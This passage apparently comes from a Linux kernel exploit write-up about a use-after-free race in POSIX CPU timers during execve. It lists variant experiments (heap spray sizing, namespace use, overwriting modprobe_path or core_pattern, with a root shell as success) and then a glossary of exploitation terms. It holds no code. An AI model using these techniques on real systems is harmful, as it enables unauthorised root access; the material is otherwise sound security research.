exit_itimerspath: run the trigger and check whether the timer is still reachable afterexecve, for example by observing a signal from a timer that should have been destroyed. - Other POSIX clock types that share the
posix_cputimerslist, such as process CPU timers: arm one beforeexecveand see whether the list entry survives the cleanup. - Different
execvepaths, including re-executing the same binary with a different environment, to confirm the race window is not specific to the exploit's handshake. - Kernels with different
kmalloccache sizes: adjust the spray sizes and check whether the freed timer object can still be reclaimed with controlled data. - Systems where user namespaces are disabled: test whether the same primitive works without the sandbox, since the exploit uses the namespace mainly to obtain
CAP_NET_RAWfor the packet ring spray. - Other targets for the write primitive, such as
core_patternor a setuid binary path, to see whether the same fake-timer layout can redirect execution without relying onmodprobe_path.
A positive result in each case is a kernel crash, a controlled write, or a root shell obtained from an unprivileged local account.
Glossary
- Kernel: the privileged core of a Linux system that manages hardware, memory and running programs.
- Local privilege escalation (LPE): a bug that lets someone with an ordinary account on a machine gain higher rights, up to root.
- Root: the administrator account on Linux, which can do anything.
- Thread: one sequence of instructions running inside a process.
- Process: a running program, which may contain several threads.
- System call (syscall): a request from a program to the kernel to do something on its behalf.
- Signal: a small asynchronous notification the kernel delivers to a process.
- CPU time: the amount of actual processor work spent, as opposed to wall-clock time.
CLOCK_THREAD_CPUTIME_ID: a clock that measures CPU time consumed by a single thread.- Timer: a request for the kernel to notify a program later.
timer_create: the system call that creates a timer.timer_settime: the system call that arms a timer with an interval.execve: the system call that replaces the current program with another one.- Use-after-free: using memory after it has been freed, so the kernel may be operating on data someone else now controls.
- Double free: freeing the same piece of memory twice, which can corrupt the allocator's bookkeeping.
- Race condition: a bug that depends on the timing of two concurrent operations.
- Data structure: an organised way of storing data in memory.
- Doubly-linked list: a chain of items where each item points to both its predecessor and its successor.
struct k_itimer: the kernel structure representing a POSIX timer.struct posix_cputimers: the kernel structure holding the list of CPU-time timers for a process or thread.firinglist: the list of timers that have expired and are about to be processed.posix_timer_event: the kernel function that delivers the signal for an expired timer.exit_itimers: the kernel function that frees a process's timers, called duringexecve.- Slab / slab page: the kernel's pools of memory for small objects, and the larger blocks they are carved from.
- Heap spray: allocating many copies of attacker data so one lands in a target memory slot.
msg_msg: the kernel structure holding a System V message.- System V message queue: an older inter-process communication facility where processes exchange messages through queues.
msgrcv/msgsnd: system calls to receive and send messages on such a queue.MSG_COPY: a flag that reads a copy of a message without removing it.shmget: the system call that creates a shared memory segment.shmid_kernel: the kernel structure describing a shared memory segment.init_ipc_ns: a kernel symbol whose address helps calculate the KASLR slide.- KASLR: Kernel Address Space Layout Randomisation, which places the kernel at a random address at boot.
- KASLR slide: the random offset between the kernel's default address and where it actually sits.
- Leak: learning a real memory address from a running system, often needed to defeat KASLR.
modprobe_path: the kernel setting holding the path of the helper program the kernel runs in certain situations./proc: a virtual filesystem through which the kernel exposes settings and information as files./etc/shadow: the file holding password hashes, readable only by root.- setuid: a permission bit that makes a program run with the rights of its owner, often root.
- Namespace: a Linux feature giving a process a private view of part of the system, such as user IDs or networking.
- Capability: a specific permission, such as
CAP_NET_RAWfor raw network sockets. CAP_NET_RAW: the capability needed to open raw network sockets.AF_PACKET/PACKET_RX_RING: a raw network socket type and the option that allocates its receive ring buffers.- Ring buffer: a fixed-size buffer the kernel fills in a loop, here used to hold attacker data in kernel memory.
mmap: the system call that maps memory into a process's address space.- TSC: the processor's timestamp counter, a fast counter used for timing.
- Context switch: the kernel pausing one thread and running another.
userfaultfd: a kernel feature letting a program handle its own page faults, used to pause the kernel at a chosen point.- Page fault: the event when a program touches memory that is not yet loaded.
setxattr: a system call that sets an extended attribute on a file.sendmsg: a system call that sends a message over a socket, optionally with ancillary data.- Ancillary data: extra data attached to a socket message, stored in kernel buffers.
ret2dir: a technique that finds a direct-map alias of a user page in kernel memory.kmalloc: the kernel's general-purpose memory allocator for small objects.defragment: filling allocator caches with objects so later allocations land predictably.add_key: a system call that adds a key to the kernel keyring, used here as a heap spray.- CVE: Common Vulnerabilities and Exposures, a public catalogue giving each flaw a permanent identifier.
- Patch: a code change that fixes a bug.
- CVSS: a standard scoring system for the severity of a vulnerability.
- Bounty: a reward paid for reporting a security flaw.